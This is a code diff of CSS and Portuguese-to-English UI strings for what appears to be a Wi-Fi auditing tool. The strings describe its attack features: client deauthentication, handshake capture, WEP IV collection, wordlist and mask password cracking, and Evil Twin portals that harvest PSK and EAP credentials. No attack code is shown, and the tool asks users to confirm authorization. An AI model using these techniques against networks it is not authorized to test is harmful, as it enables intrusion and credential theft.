.bssid-meta, .bssid-clients { color: var(--text-3); font-size: 12px; }
.bssid-flags { display: flex; gap: 4px; justify-content: flex-end; flex-wrap: wrap; }
.sec-tag { font-size: 11px; font-weight: 600; padding: 2px 8px; border-radius: 999px; white-space: nowrap; }
.sec-open { background: var(--bad-soft); color: var(--bad); }
.sec-wep, .sec-wpa { background: var(--warn-soft); color: var(--warn); }
.sec-wpa2, .sec-wpa3, .sec-owe { background: var(--ok-soft); color: var(--ok); }
.sec-eap { background: var(--signal-soft); color: var(--signal); }
.signal-bars { display: inline-flex; align-items: flex-end; gap: 1.5px; height: 14px; vertical-align: middle; margin-right: 6px; }
.signal-bars i { width: 3px; background: var(--line); border-radius: 1px; display: block; }
.signal-bars i.on { background: var(--signal); }
@@ -179,6 +227,115 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.empty-state h2 { font-size: 17px; color: var(--text); margin-bottom: 6px; }
.empty-state p { font-size: 13.5px; max-width: 360px; margin: 0 auto; }
/* ------------------------------------------------------------ configurações */
dialog { border: 0; border-radius: 20px; padding: 24px; width: min(420px, calc(100vw - 32px)); background: var(--surface); color: var(--text); box-shadow: 0 30px 80px rgba(0, 0, 0, .35); }
dialog::backdrop { background: rgba(0, 0, 0, .35); backdrop-filter: blur(6px); }
dialog h2 { font-size: 20px; margin-bottom: 16px; }
dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; margin: 22px 0 0; }
.field { display: grid; gap: 6px; margin: 12px 0; }
.field-label { font-size: 12px; color: var(--text-2); font-weight: 600; }
.select { width: 100%; border: 0; border-radius: 12px; padding: 9px 14px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; cursor: pointer; }
.select option { background-color: var(--surface); color: var(--text); }
/* ------------------------------------------------------------ detalhes do alvo */
.ssid-btn { display: block; border: 0; padding: 0; background: transparent; color: inherit; font: inherit; font-weight: 600; text-align: left; cursor: pointer; line-height: 1.25; }
.ssid-btn:hover { color: var(--accent); text-decoration: underline; text-underline-offset: 3px; }
.bssid-item { cursor: pointer; }
.bssid-item:focus-visible { outline: 2px solid var(--signal); outline-offset: -2px; }
.target-dlg { width: min(980px, calc(100vw - 32px)); max-height: min(90vh, 900px); padding: 0; overflow: hidden; display: flex; flex-direction: column; }
.target-dlg:not([open]) { display: none; }
.target-head { display: flex; align-items: flex-start; justify-content: space-between; gap: 16px; padding: 22px 24px 12px; }
.target-head h2 { font-size: 22px; line-height: 1.2; }
.target-sub { display: flex; flex-wrap: wrap; align-items: center; gap: 5px 8px; color: var(--text-2); font-size: 12.5px; margin-top: 5px; }
.target-sub .mono { color: var(--text-2); font-size: 12px; }
.target-sub .sec-tag { margin-left: 2px; }
.dot-sep { color: var(--text-3); }
.bssid-select { width: auto; max-width: 320px; padding: 4px 8px; border-radius: 8px; font-size: 11.5px; }
.tabs { display: flex; gap: 2px; padding: 0 20px; border-bottom: 1px solid var(--line); }
.tabs button { border: 0; background: transparent; color: var(--text-2); padding: 9px 12px 11px; font-size: 13px; font-weight: 600; cursor: pointer; border-bottom: 2px solid transparent; margin-bottom: -1px; }
.tabs button:hover { color: var(--text); }
.tabs button[aria-selected="true"] { color: var(--text); border-bottom-color: var(--accent); }
.tab-count { display: inline-block; min-width: 18px; padding: 0 5px; margin-left: 3px; border-radius: 999px; background: color-mix(in srgb, var(--text) 9%, transparent); color: var(--text-2); font-size: 10.5px; line-height: 17px; text-align: center; }
.tab-panel { padding: 18px 24px 26px; overflow-y: auto; min-height: 0; }
.detail-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 12px; }
.detail-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; }
.detail-card h3 { font-size: 12px; text-transform: uppercase; letter-spacing: .06em; color: var(--text-3); margin-bottom: 10px; }
.detail-wide { margin-top: 12px; }
.kv { display: grid; grid-template-columns: minmax(96px, auto) minmax(0, 1fr); gap: 6px 12px; margin: 0; font-size: 12.5px; }
.kv dt { color: var(--text-3); }
.kv dd { margin: 0; min-width: 0; overflow-wrap: anywhere; }
.detail-actions { display: flex; flex-wrap: wrap; gap: 8px; margin-top: 12px; }
.btn.small { padding: 6px 12px; font-size: 12px; }
.risk { border-radius: 12px; padding: 10px 13px; font-size: 12.5px; margin-bottom: 12px; border: 1px solid transparent; }
.risk-bad { background: var(--bad-soft); color: var(--bad); }
.risk-warn { background: var(--warn-soft); color: var(--warn); }
.risk-info { background: var(--signal-soft); color: var(--signal); }
.risk strong { font-weight: 700; }
.flag-ok { background: var(--ok-soft); color: var(--ok); }
.flag-bad { background: var(--bad-soft); color: var(--bad); }
.clients-card { margin-top: 2px; overflow-x: auto; }
.mini-table { width: 100%; border-collapse: collapse; }
.mini-table .row-actions { text-align: right; white-space: nowrap; }
.mini-table th { padding: 9px 12px; font-size: 10.5px; text-transform: uppercase; letter-spacing: .05em; color: var(--text-3); text-align: left; border-bottom: 1px solid var(--line); }
.mini-table td { padding: 9px 12px; font-size: 12.5px; border-bottom: 1px solid var(--line); vertical-align: middle; }
.mini-table tr:last-child td { border-bottom: 0; }
.mini-table .nowrap { white-space: nowrap; font-variant-numeric: tabular-nums; }
.mini-table .probes { max-width: 220px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--text-2); }
.mini-table .device-cell { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--text-2); }
.clients-card .mini-table { table-layout: fixed; }
.clients-card .mini-table th:nth-child(1) { width: 20%; }
.clients-card .mini-table th:nth-child(2) { width: 18%; }
.clients-card .mini-table th:nth-child(3) { width: 12%; }
.clients-card .mini-table th:nth-child(4) { width: 7%; }
.clients-card .mini-table th:nth-child(5) { width: 10%; }
.clients-card .mini-table th:nth-child(6) { width: 12%; }
.clients-card .mini-table th:nth-child(7) { width: 21%; }
.clients-card .row-actions .btn { padding: 6px 10px; }
.clients-card .client-name, .clients-card .client-sub { max-width: 100%; }
.client-name { font-weight: 600; color: var(--text); max-width: 210px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.client-sub { color: var(--text-3); font-size: 10.5px; max-width: 210px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.empty-inline { text-align: center; padding: 46px 20px; color: var(--text-2); background: var(--surface-2); border-radius: 14px; }
.empty-inline strong { color: var(--text); display: block; margin-bottom: 4px; }
.empty-inline p { margin: 0; font-size: 13px; }
.auth-check { display: flex; align-items: center; gap: 8px; font-size: 12.5px; font-weight: 600; margin: 4px 0 14px; }
.auth-check input { width: 16px; height: 16px; accent-color: var(--accent); }
/* Colunas CSS em vez de grid: os cards de ataque têm alturas muito
diferentes entre si (Deauth/Handshake são enormes, PMF/WPS são curtos).
Num grid de 2 colunas comum, o par mais curto de uma linha deixava um
vão vazio enorme embaixo (a altura da linha é a do item mais alto, e
align-items:start não estica o curto pra preencher). Colunas fazem os
cards fluírem como alvenaria: cada um só ocupa a altura que precisa, o
próximo entra logo abaixo, sem buracos. */
.attack-grid { column-count: 2; column-gap: 12px; }
.attack-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; min-width: 0; break-inside: avoid; margin: 0 0 12px; display: inline-block; width: 100%; }
.attack-deauth, .attack-wide { column-span: all; }
.attack-deauth .field-row { grid-template-columns: repeat(2, minmax(0, 1fr)); }
.attack-deauth .detail-actions { align-items: center; }
.attack-card h3 { font-size: 14px; margin-bottom: 5px; }
.attack-card .hint { margin: 6px 0 10px; }
.attack-card .btn { margin-top: 2px; }
.field-row { display: grid; grid-template-columns: 1fr 1.4fr; gap: 10px; }
.field { display: grid; gap: 5px; margin: 9px 0; }
.field-label { font-size: 11.5px; color: var(--text-2); font-weight: 600; }
.input { width: 100%; border: 1px solid transparent; border-radius: 10px; padding: 8px 11px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; font-size: 12.5px; }
.input:focus { outline: 2px solid var(--signal); outline-offset: 1px; }
.hint { color: var(--text-3); font-size: 12px; margin: 0; line-height: 1.4; }
.hint.bad { color: var(--bad); }
.hint code { background: color-mix(in srgb, var(--text) 7%, transparent); padding: 1px 5px; border-radius: 5px; font-size: 11.5px; }
.hs-list { display: grid; gap: 6px; margin-bottom: 8px; }
.hs-item { display: flex; align-items: flex-start; justify-content: space-between; gap: 8px; background: var(--surface); border: 1px solid var(--line); border-radius: 10px; padding: 8px 10px; font-size: 12px; }
.hs-main { min-width: 0; display: grid; gap: 2px; }
.hs-meta { color: var(--text-3); font-size: 11px; }
.hs-flags { display: flex; flex-wrap: wrap; gap: 4px; justify-content: flex-end; }
.crack-box { margin-top: 10px; padding: 9px 11px; border-radius: 10px; background: var(--surface); border: 1px solid var(--line); font-size: 12px; display: flex; flex-wrap: wrap; align-items: center; gap: 7px; }
.crack-ok { border-color: color-mix(in srgb, var(--ok) 40%, transparent); }
.crack-box .mono { margin-right: 4px; }
.crack-head { display: flex; align-items: center; gap: 8px; width: 100%; color: var(--text-2); }
.crack-bar { width: 100%; height: 4px; border-radius: 999px; background: var(--line); overflow: hidden; }
.crack-bar i { display: block; width: 35%; height: 100%; border-radius: 999px; background: var(--accent); animation: crack-slide 1.1s ease-in-out infinite; }
@keyframes crack-slide { 0% { margin-left: -35%; } 100% { margin-left: 100%; } }
/* ------------------------------------------------------------ responsivo */
@media (max-width: 760px) {
.app { grid-template-columns: 1fr; grid-template-rows: auto 1fr; }
@@ -186,4 +343,119 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
.brand { padding: 4px 10px; }
.side-title, .side-foot { display: none; }
.list { display: flex; }
.result-tools { width: 100%; }
.result-tools .filter { flex: 1; width: auto; }
.net-table { min-width: 560px; }
.bssid-item { grid-template-columns: 1fr auto; }
.bssid-meta, .bssid-sig, .bssid-flags { grid-column: 1 / -1; }
.bssid-flags { justify-content: flex-start; }
.target-dlg { width: calc(100vw - 16px); max-height: 94vh; }
.target-head { padding: 16px 16px 10px; }
.tabs { padding: 0 10px; overflow-x: auto; }
.tab-panel { padding: 14px 14px 20px; }
.detail-grid { grid-template-columns: 1fr; }
.attack-grid { column-count: 1; }
.field-row { grid-template-columns: 1fr; }
.detail-card, .attack-card { padding: 12px; }
}
/* --------------------------------------------------- análise de canais */
.top-actions { display: flex; align-items: center; gap: 10px; }
.view-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 7%, transparent); }
.view-switch button { border: 0; border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; color: var(--text-2); background: transparent; cursor: pointer; }
.view-switch button[aria-pressed="true"] { background: var(--surface); color: var(--text); box-shadow: 0 1px 3px rgba(0, 0, 0, .12); }
.alert-strip { display: flex; align-items: center; flex-wrap: wrap; gap: 6px; margin: 0 2px 10px; }
.alert-item { display: inline-flex; align-items: center; gap: 6px; border: 1px solid var(--line); background: var(--surface); border-radius: 999px; padding: 5px 11px; font-size: 12px; cursor: pointer; }
.alert-dot { width: 7px; height: 7px; border-radius: 50%; background: var(--warn); }
.alert-high .alert-dot { background: var(--bad); }
.alert-low .alert-dot { background: var(--text-3); }
.alert-title { max-width: 340px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.alert-more { color: var(--text-3); font-size: 11.5px; padding: 0 4px; }
.channel-card { padding: 16px; }
.channel-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin-bottom: 8px; }
.band-switch { display: inline-flex; gap: 4px; }
.band-switch button { border: 1px solid transparent; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); border-radius: 999px; padding: 5px 12px; font-size: 12px; font-weight: 600; cursor: pointer; }
.band-switch button[aria-pressed="true"] { background: var(--signal-soft); color: var(--signal); border-color: color-mix(in srgb, var(--signal) 35%, transparent); }
.sp-legend { display: flex; flex-wrap: wrap; gap: 10px; color: var(--text-3); font-size: 11px; }
.sp-legend span { display: inline-flex; align-items: center; gap: 5px; }
.sp-legend i { width: 9px; height: 9px; border-radius: 2px; display: inline-block; }
.spectrum { width: 100%; height: auto; display: block; background: color-mix(in srgb, var(--text) 3%, transparent); border-radius: 12px; }
.sp-grid { stroke: var(--line); stroke-width: 1; }
.sp-axis { stroke: color-mix(in srgb, var(--text) 22%, transparent); stroke-width: 1; }
.sp-db, .sp-chan { fill: var(--text-3); font-size: 9px; font-family: var(--mono); }
.sp-name { fill: var(--text-2); font-size: 9px; font-weight: 600; }
.sp-lobe path { transition: fill-opacity .15s; }
.sp-lobe:hover path { fill-opacity: .38; }
.channel-grid { display: grid; grid-template-columns: 190px 1fr; gap: 18px; margin-top: 14px; }
.channel-grid h3 { font-size: 12px; color: var(--text-2); margin-bottom: 8px; }
.chan-best-num { font-size: 44px; font-weight: 700; line-height: 1; color: var(--signal); margin: 0 0 6px; }
.chan-list { display: grid; gap: 6px; }
.chan-list h3 { margin: 0 0 2px; }
.chan-row { display: grid; grid-template-columns: 46px 1fr 48px 128px; align-items: center; gap: 8px; font-size: 12px; }
.chan-row .chan-n { font-weight: 600; display: inline-flex; align-items: center; gap: 4px; }
.chan-bar { height: 7px; border-radius: 999px; background: var(--line); overflow: hidden; }
.chan-bar i { display: block; height: 100%; border-radius: 999px; background: var(--ok); }
.chan-bar i.diff-mid { background: var(--warn); }
.chan-bar i.diff-high { background: var(--bad); }
.chan-score { font-family: var(--mono); font-size: 11px; color: var(--text-2); text-align: right; }
.chan-aps { color: var(--text-3); font-size: 11px; white-space: nowrap; }
.chan-best .chan-n, .chan-best .chan-aps { color: var(--signal); }
/* ------------------------------------------------- saúde do espectro (SMART) */
.chan-tiles { display: grid; grid-template-columns: repeat(auto-fill, minmax(132px, 1fr)); gap: 10px; margin: 2px 0 16px; }
.chan-tile { background: var(--surface-2); border-radius: 14px; padding: 12px 14px; display: flex; flex-direction: column; gap: 2px; box-shadow: 0 0 0 1px var(--line); }
.chan-tile small { color: var(--text-3); font-size: 12px; }
.chan-tile b { font-size: 18px; font-variant-numeric: tabular-nums; }
.chan-tile.status.ok { background: var(--ok-soft); } .chan-tile.status.ok b { color: var(--ok); }
.chan-tile.status.warn { background: var(--warn-soft); } .chan-tile.status.warn b { color: var(--warn); }
.chan-tile.status.bad { background: var(--bad-soft); } .chan-tile.status.bad b { color: var(--bad); }
.chan-tile b span { font-weight: 500; opacity: .8; font-size: 13px; margin-left: 4px; }
.chan-dot { display: inline-block; width: 9px; height: 9px; border-radius: 50%; background: var(--ok); margin-right: 5px; flex: none; }
.chan-dot.warn { background: var(--warn); }
.chan-dot.bad { background: var(--bad); }
.chan-attrs { margin-top: 4px; }
.chan-attrs summary { cursor: pointer; font-size: 12.5px; font-weight: 600; color: var(--text-2); padding: 6px 0; list-style: none; }
.chan-attrs summary::-webkit-details-marker { display: none; }
.chan-attrs summary::before { content: '▸ '; display: inline-block; width: 12px; }
.chan-attrs[open] summary::before { content: '▾ '; }
.chan-table .dim { color: var(--text-3); font-size: 11.5px; }
.chan-table tr.chan-best-row td { color: var(--signal); font-weight: 600; }
.mini-tag { font-size: 8.5px; padding: 1px 4px; border-radius: 4px; background: var(--warn-soft); color: var(--warn); }
/* ------------------------------------------------ clientes e linha do tempo */
.spark { display: inline-block; width: 62px; height: 16px; vertical-align: middle; margin-left: 6px; }
.spark path { fill: none; stroke: var(--signal); stroke-width: 1.4; }
.spark-big { display: block; width: 100%; height: 70px; margin: 10px 0 0; }
.timeline-card { margin-top: 12px; }
.timeline-head { display: flex; align-items: center; justify-content: space-between; gap: 10px; margin-bottom: 6px; }
.timeline { list-style: none; padding: 0; margin: 8px 0; display: grid; gap: 5px; max-height: 260px; overflow: auto; }
.timeline li { display: grid; grid-template-columns: 84px 112px 1fr; align-items: baseline; gap: 8px; font-size: 12px; border-bottom: 1px solid var(--line); padding: 5px 2px; }
.timeline li > .mono:first-child { white-space: nowrap; }
.tl-kind { font-size: 10.5px; font-weight: 700; text-transform: uppercase; letter-spacing: .03em; color: var(--text-3); }
.tl-deauth { color: var(--bad); }
.tl-associate { color: var(--ok); }
.tl-probe { color: var(--signal); }
.tl-detail { color: var(--text-3); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
/* ------------------------------------------------------------- WPS e relatório */
.term { margin: 10px 0 0; padding: 10px 12px; border-radius: 10px; background: color-mix(in srgb, var(--text) 6%, transparent); color: var(--text-2); font: 11.5px/1.5 var(--mono); white-space: pre-wrap; max-height: 180px; overflow: auto; }
.report-dlg { width: min(1060px, 96vw); height: 92vh; max-height: 92vh; padding: 0; display: flex; flex-direction: column; overflow: hidden; }
.report-dlg:not([open]) { display: none; }
.report-head { display: flex; align-items: flex-start; justify-content: space-between; gap: 14px; padding: 16px 18px 12px; border-bottom: 1px solid var(--line); flex-wrap: wrap; }
.report-head h2 { font-size: 17px; margin: 0 0 2px; }
.report-tools { display: flex; align-items: center; gap: 6px; flex-wrap: wrap; }
.report-tools .mono { font-size: 11.5px; color: var(--text-2); min-width: 38px; text-align: center; }
.report-view { flex: 1; overflow: auto; background: color-mix(in srgb, var(--text) 8%, var(--bg)); padding: 16px; }
.report-canvas { margin: 0 auto; transform-origin: top center; background: #fff; box-shadow: 0 6px 30px rgba(0, 0, 0, .18); }
.report-canvas iframe { border: 0; display: block; background: #fff; }
@media (max-width: 760px) {
.top-actions { gap: 6px; }
.channel-grid { grid-template-columns: 1fr; }
.chan-row { grid-template-columns: 42px 1fr 44px; }
.chan-aps { grid-column: 2 / -1; }
.report-dlg { width: 100vw; height: 100vh; max-height: 100vh; border-radius: 0; }
.report-view { padding: 8px; }
}
+2217 -48
View File
File diff suppressed because it is too large. Load diff
+468 -1
View File
@@ -2,8 +2,12 @@
export const EN = {
// index.html / sidebar
'auditoria de Wi-Fi': 'Wi-Fi auditing',
'Interface': 'Interface',
'Interface Wi-Fi': 'Wi-Fi interface',
'Interfaces': 'Interfaces',
'nenhuma interface Wi-Fi encontrada': 'no Wi-Fi interface found',
'APs, clientes e ataques': 'APs, clients and attacks',
'espectro e saúde': 'spectrum and health',
'checar atualização': 'check for update',
'checando…': 'checking…',
'atualizar para {n}': 'update to {n}',
@@ -30,7 +34,12 @@ export const EN = {
'parar captura': 'stop capture',
// resultados
'Redes': 'Networks',
'Redes vistas': 'Networks seen',
'Linha do tempo': 'Timeline',
'Linha do tempo ·': 'Timeline ·',
'fechar': 'close',
'motivo {n}': 'reason {n}',
'Pronto pra capturar': 'Ready to capture',
'Ative o modo monitor e inicie a captura pra ver as redes no ar.': 'Enable monitor mode and start capturing to see the networks on the air.',
'Nenhuma interface Wi-Fi': 'No Wi-Fi interface',
@@ -41,16 +50,44 @@ export const EN = {
'oculta': 'hidden',
'Rede': 'Network',
'Canal': 'Channel',
'Canais': 'Channels',
'Banda': 'Band',
'Bandas': 'Bands',
'Nome': 'Name',
'Sinal': 'Signal',
'Segurança': 'Security',
'Clientes': 'Clients',
'filtrar por SSID ou BSSID': 'filter by SSID or BSSID',
'Filtrar redes': 'Filter networks',
'Ordenar por': 'Sort by',
'expandir': 'expand',
'recolher': 'collapse',
'PMF parcial': 'partial PMF',
'canal {n}': 'channel {n}',
'canal {n} · {n}': 'channel {n} · {n}',
'1 cliente': '1 client',
'{n} clientes': '{n} clients',
'{n} de {n} redes': '{n} of {n} networks',
'{n} redes · {n} BSSIDs · {n} clientes': '{n} networks · {n} BSSIDs · {n} clients',
'Nenhuma rede corresponde ao filtro': 'No network matches the filter',
'Ajuste a busca ou limpe o campo de filtro.': 'Adjust the search or clear the filter.',
// erros de UI
'Não foi possível trocar o modo:': 'Could not change the mode:',
'Não foi possível iniciar a captura:': 'Could not start the capture:',
'Não foi possível retomar a captura: {n}': 'Could not resume the capture: {n}',
'Retomando a captura e localizando a rede…': 'Resuming the capture and locating the network…',
'A rede não reapareceu na varredura a tempo. Tente de novo.': 'The network did not reappear in the scan in time. Try again.',
'A captura parou:': 'The capture stopped:',
'erro desconhecido': 'unknown error',
'rota desconhecida': 'unknown route',
// seletor de idioma
// seletor de idioma / configurações
'Configurações': 'Settings',
'Tema': 'Theme',
'Claro': 'Light',
'Escuro': 'Dark',
'Fechar': 'Close',
'Idioma': 'Language',
'Auto': 'Auto',
'Português': 'Portuguese',
@@ -95,4 +132,434 @@ export const EN = {
'nenhum handshake quebrável para os filtros informados': 'no crackable handshake for the given filters',
'quantidade de quadros deve ficar entre 1 e 256': 'frame count must be between 1 and 256',
'MAC inválido: {n}': 'invalid MAC: {n}',
// detalhes do alvo e ataques
'não': 'no',
'não anunciado': 'not advertised',
'quebrável': 'crackable',
'Nenhum handshake capturado para este BSSID.': 'No handshake captured for this BSSID.',
'Rede aberta.': 'Open network.',
'O tráfego não é cifrado pelo Wi-Fi; qualquer cliente pode se associar.': 'Traffic is not encrypted over Wi-Fi; any client can associate.',
'A cifra é quebrável; capture IVs na aba Ataques.': 'The cipher is breakable; capture IVs in the Attacks tab.',
'O AP anuncia configuração travada.': 'The AP advertises configuration locked.',
'PIN pode estar acessível; verifique o lock.': 'The PIN may be accessible; check the lock.',
'Desautenticação e captura de handshake podem ser ignoradas pelos clientes.': 'Deauthentication and handshake capture may be ignored by clients.',
'Sem PMF obrigatório.': 'No mandatory PMF.',
'Desautenticação tende a funcionar e facilita a captura do handshake.': 'Deauthentication tends to work and makes handshake capture easier.',
'País': 'Country',
'Último visto': 'Last seen',
'Primeiro visto': 'First seen',
'Frequência': 'Frequency',
'Largura': 'Width',
'Padrão': 'Standard',
'Sinal máximo': 'Max signal',
'Intervalo de beacon': 'Beacon interval',
'Quadros de dados': 'Data frames',
'Versão WPS': 'WPS version',
'Vistos na rede': 'Seen on network',
'Quebráveis': 'Crackable',
'Número do modelo': 'Model number',
'Nome do dispositivo': 'Device name',
'Serial': 'Serial',
'Identificação': 'Identity',
'Rádio': 'Radio',
'sim': 'yes',
'Nome exibido': 'Display name',
'Hostname': 'Hostname',
'Sistema': 'OS',
'IP': 'IP',
'Associado a': 'Associated to',
'Atual': 'Current',
'Máximo': 'Maximum',
'Sem amostras de sinal suficientes ainda.': 'Not enough signal samples yet.',
'Linha do tempo · eventos mais recentes primeiro.': 'Timeline · most recent events first.',
'Cliente · {n}': 'Client · {n}',
'A captura parou sozinha:': 'The capture stopped on its own:',
'A placa não está capturando nada': 'The adapter is not capturing anything',
'Nenhum quadro recebido depois de alguns segundos saltando canais — esta placa pode aceitar ativar o modo monitor sem conseguir capturar de verdade (comum em Wi-Fi interna de notebook). Tente um adaptador USB dedicado a modo monitor/injeção.':
'No frame received after several seconds of channel hopping — this adapter may accept turning monitor mode on without actually being able to capture (common with a laptop\'s built-in Wi-Fi). Try a USB adapter dedicated to monitor mode/injection.',
'motivo desconhecido — confira se o adaptador ainda está conectado.':
'unknown reason — check whether the adapter is still connected.',
'Clientes e handshake': 'Clients and handshake',
'Nenhum cliente visto.': 'No client seen.',
'Associe ou gere tráfego na rede para que o Sabiá identifique estações.': 'Associate or generate traffic on the network so Sabiá can identify stations.',
'senha encontrada': 'password found',
'concluído': 'done',
'quebrando': 'cracking',
'senhas testadas': 'passwords tried',
'{n} senhas testadas': '{n} passwords tried',
'{n} tentativas · {n} ms': '{n} attempts · {n} ms',
'Senha não encontrada no dicionário ({n} tentativas).': 'Password not found in the wordlist ({n} attempts).',
'· quebrável': '· crackable',
'não especificado': 'unspecified',
'autenticação expirada': 'authentication expired',
'saindo': 'leaving',
'inativo': 'inactive',
'AP sem recursos': 'AP out of resources',
'classe 2': 'class 2',
'classe 3': 'class 3',
'{n} handshake(s) visto(s); {n} quebrável(is).': '{n} handshake(s) seen; {n} crackable.',
'Nenhum handshake capturado ainda. Desautentique um cliente para estimular a reassociação.': 'No handshake captured yet. Deauthenticate a client to trigger reassociation.',
'Captura WEP': 'WEP capture',
'WEP não tem handshake: o ataque coleta IVs em um .pcap. Reinicie a captura gravando o arquivo e gere tráfego com desautenticação. A captura atual é reiniciada e a tabela começa vazia.': 'WEP has no handshake: the attack collects IVs into a .pcap. Restart the capture writing the file and generate traffic with deauthentication. The current capture is restarted and the table starts empty.',
'Arquivo pcap': 'pcap file',
'Reiniciar captura com pcap': 'Restart capture to pcap',
'Gerar tráfego': 'Generate traffic',
'Copiar comando': 'Copy command',
'Esta rede não usa WEP.': 'This network does not use WEP.',
'Somente em redes próprias ou com autorização escrita.': 'Only on your own networks or with written authorization.',
'Cada ação fica registrada na trilha de auditoria local, com interface, BSSID e estação.': 'Every action is logged in the local audit trail with interface, BSSID and station.',
'Tenho autorização para testar esta rede': 'I have authorization to test this network',
'Desautenticação': 'Deauthentication',
'Expulsa uma estação (ou todas) para forçar reassociação e captura de handshake.': 'Kicks a station (or all) to force reassociation and handshake capture.',
'Enviar desautenticação': 'Send deauthentication',
'Forçar handshake': 'Force handshake',
'Dicionário': 'Wordlist',
'Rede oculta': 'Hidden network',
'job não encontrado': 'job not found',
'{n} quadro(s) enviados para {n} (motivo {n}).': '{n} frame(s) sent to {n} (reason {n}).',
'Selecione um handshake.': 'Select a handshake.',
'Informe o dicionário.': 'Enter the wordlist.',
'Informe o caminho do .pcap.': 'Enter the .pcap path.',
'Força bruta por máscara — sem dicionário, testa toda combinação do padrão.':
'Mask brute force — no wordlist, tests every combination of the pattern.',
'dígito,': 'digit,',
'minúscula,': 'lowercase,',
'maiúscula,': 'uppercase,',
'símbolo,': 'symbol,',
'qualquer um; o resto é literal.': 'any of those; the rest is literal.',
'Máscara': 'Mask',
'Força bruta por máscara': 'Mask brute force',
'Informe uma máscara (ex.: ?d?d?d?d?d?d?d?d).': 'Enter a mask (e.g. ?d?d?d?d?d?d?d?d).',
'job não iniciado': 'job not started',
'Captura gravando em {n}. Gere tráfego e aguarde IVs suficientes.': 'Capture writing to {n}. Generate traffic and wait for enough IVs.',
'Visão geral': 'Overview',
'Ver detalhes': 'View details',
'Ver clientes': 'View clients',
'Abrir ataques': 'Open attacks',
'Todos (broadcast)': 'All (broadcast)',
'associado': 'associated',
'sondando': 'probing',
'visto': 'seen',
'Alvo': 'Target',
'Handshake': 'Handshake',
'Salvar pcap em': 'Save pcap to',
'Exportar selecionado': 'Export selected',
'Exportar todos': 'Export all',
'Quebrar senha': 'Crack password',
'completo': 'complete',
'Ataques': 'Attacks',
'Cliente alvo': 'Target client',
'Ações': 'Actions',
'Atacar': 'Attack',
'Cliente não associado a este AP.': 'Client not associated with this AP.',
'Somente o cliente selecionado será desautenticado.': 'Only the selected client will be deauthenticated.',
'Todos os clientes associados (broadcast).': 'All associated clients (broadcast).',
'Fabricante': 'Manufacturer',
'Modelo': 'Model',
'Oculta': 'Hidden',
'Modo': 'Mode',
'Cifra': 'Cipher',
'Privacidade': 'Privacy',
'WPS travado': 'WPS locked',
'Associados': 'Associated',
'Senha': 'Password',
'Quadro': 'Frame',
'Quadros': 'Frames',
'ambas': 'both',
'Tentativas': 'Attempts',
'Testar PMF': 'Test PMF',
'em execução': 'running',
'iniciando': 'starting',
'erro': 'error',
'parado': 'stopped',
'Status: {n}': 'Status: {n}',
'tamanho inválido': 'invalid length',
'· última: {n}': '· last: {n}',
'Clona o AP (aberto) numa segunda interface e sobe um portal pedindo a senha de novo. A senha só é aceita se bater de verdade com o handshake já capturado — não é um "aceita qualquer coisa".':
'Clones the AP (open) on a second interface and shows a portal asking for the password again. The password is only accepted if it truly matches the already-captured handshake — it is not an "accept anything" page.',
'Exige um handshake quebrável já capturado deste AP (aba Handshake). Precisa de':
'Requires a crackable handshake already captured for this AP (Handshake tab). Needs',
'instalado e de uma': 'installed and a',
'interface Wi-Fi em modo AP, diferente da que está capturando.':
'Wi-Fi interface in AP mode, different from the one capturing.',
'Iniciar Evil Twin': 'Start Evil Twin',
'Informe a interface do clone (uma segunda placa).':
'Enter the clone interface (a second adapter).',
'a interface do clone precisa ser diferente da que está capturando':
'the clone interface must be different from the one capturing',
'esse BSSID ainda não apareceu nesta sessão de captura':
'that BSSID has not appeared in this capture session yet',
'rede oculta: sem SSID não dá pra clonar': 'hidden network: no SSID, cannot clone',
'handshake sem dados suficientes pra conferir senha':
'handshake does not have enough data to verify a password',
'hostapd não está instalado (sudo apt install hostapd) — necessário pro Evil Twin':
'hostapd is not installed (sudo apt install hostapd) — needed for Evil Twin',
'{n} · {n} credencial(is) capturada(s){n}': '{n} · {n} credential(s) captured{n}',
'Clona o AP numa segunda interface e deixa o hostapd-wpe aceitar a autenticação EAP de qualquer cliente. A credencial sai sozinha, como parte do próprio 802.1X — sem portal, sem ação humana.':
'Clones the AP on a second interface and lets hostapd-wpe accept the EAP authentication from any client. The credential comes out on its own, as part of 802.1X itself — no portal, no human action.',
'Rede Enterprise detectada (AKM 802.1X) — aqui a credencial é enviada automaticamente pelo cliente durante o handshake EAP, não precisa de portal. Exige':
'Enterprise network detected (AKM 802.1X) — here the credential is sent automatically by the client during the EAP handshake, no portal needed. Requires',
'instalado (não vem com o Sabiá: é um patch no build do hostapd —':
'installed (not bundled with Sabiá: it is a patch on the hostapd build —',
') e uma': ') and a',
'interface Wi-Fi em modo AP.': 'Wi-Fi interface in AP mode.',
'Iniciar Evil Twin Enterprise': 'Start Enterprise Evil Twin',
'Limitação honesta: o certificado TLS do clone é autoassinado. Dispositivo que valida a cadeia de certificado da rede (comum em perfil corporativo/MDM atualizado) vai recusar ou avisar o usuário — essa é a defesa que deveria existir. Funciona contra configuração sem essa validação.':
'Honest limitation: the clone\'s TLS certificate is self-signed. A device that validates the network\'s certificate chain (common on an updated corporate/MDM profile) will refuse or warn the user — that is the defense that is supposed to exist. It works against configurations without that validation.',
'essa rede não é WPA2/WPA3-Enterprise (802.1X) — pra rede com senha única (PSK), use o Evil Twin com portal cativo':
